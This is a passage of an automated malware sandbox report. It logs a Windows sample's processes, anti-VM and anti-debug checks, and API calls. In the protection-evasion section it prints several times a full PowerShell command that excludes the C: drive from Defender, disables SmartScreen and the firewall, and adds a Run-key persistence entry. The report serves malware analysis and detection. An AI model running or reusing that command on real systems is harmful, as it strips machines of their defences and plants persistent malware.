              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\ProgramData\UpSys.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\ProgramData\UpSys.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\ProgramData\Systemd\Database.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
              Source: C:\ProgramData\UpSys.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\ProgramData\UpSys.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Query firmware table information (likely to detect VMs)
              Source: C:\ProgramData\Systemd\Database.exeSystem information queried: FirmwareTableInformation
              Source: C:\Users\user\Desktop\2dOeahdsto.exe TID: 7140Thread sleep time: -10800000s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5716Thread sleep time: -4611686018427385s >= -30000sJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exe TID: 6652Thread sleep time: -7200000s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7012Thread sleep time: -3689348814741908s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4908Thread sleep time: -2767011611056431s >= -30000s
              Source: C:\Users\user\Desktop\2dOeahdsto.exeThread delayed: delay time: 3600000Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeThread delayed: delay time: 3600000Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9528Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9079
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8266
              Source: C:\ProgramData\UpSys.exeAPI coverage: 5.7 %
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF859410F6D sldt word ptr [eax]4_2_00007FF859410F6D
              Source: C:\Users\user\Desktop\2dOeahdsto.exeThread delayed: delay time: 3600000Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeThread delayed: delay time: 3600000Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft
              Source: C:\Windows\System32\conhost.exeFile opened: C:\Users\user\AppData
              Source: 2dOeahdsto.exe, 00000000.00000003.423716413.000001C7BB694000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000000.603971881.000001C7BB65B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWP
              Source: 2dOeahdsto.exe, 00000000.00000000.608118700.000001C7BB6D8000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.424821815.000001C7BB6D8000.00000004.00000020.00020000.00000000.sdmp, 2dOeahdsto.exe, 00000000.00000003.357655742.000001C7BB6D8000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.621594303.00000128868BF000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000007.00000000.618327074.00000128867FB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: netsh.exe, 00000028.00000003.448449644.000001CB670C6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140012EB0 GetVersionExW,GetCurrentProcess,GetSystemInfo,FreeLibrary,GetSystemInfo,35_2_0000000140012EB0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014005A0D0 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,35_2_000000014005A0D0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140040EE0 GetFileAttributesW,FindFirstFileW,FindClose,35_2_0000000140040EE0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014004F070 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,35_2_000000014004F070
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140061180 FindFirstFileW,Sleep,FindNextFileW,FindClose,35_2_0000000140061180
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006F660 FindFirstFileW,FindClose,35_2_000000014006F660
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008A730 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,35_2_000000014008A730
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014003EAD0 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,35_2_000000014003EAD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140059E40 FindFirstFileW,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,35_2_0000000140059E40
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006DF10 FindFirstFileW,FindNextFileW,FindClose,35_2_000000014006DF10
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140013BE0 LoadLibraryA,GetProcAddress,35_2_0000000140013BE0
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess queried: DebugPortJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess queried: DebugPortJump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400121F0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,35_2_00000001400121F0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002E880 GetProcessHeap,HeapAlloc,_errno,_errno,__doserrno,_errno,GetProcessHeap,HeapFree,SetEndOfFile,_errno,__doserrno,GetLastError,35_2_000000014002E880
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\ProgramData\UpSys.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\ProgramData\UpSys.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\ProgramData\UpSys.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\ProgramData\UpSys.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\Windows\System32\taskkill.exeProcess token adjusted: Debug
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006AAF0 BlockInput,35_2_000000014006AAF0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400290A4 SetUnhandledExceptionFilter,35_2_00000001400290A4
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002A2E0 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,35_2_000000014002A2E0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001E8EC RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,35_2_000000014001E8EC
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140028D30 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,35_2_0000000140028D30

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140041BD0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,35_2_0000000140041BD0
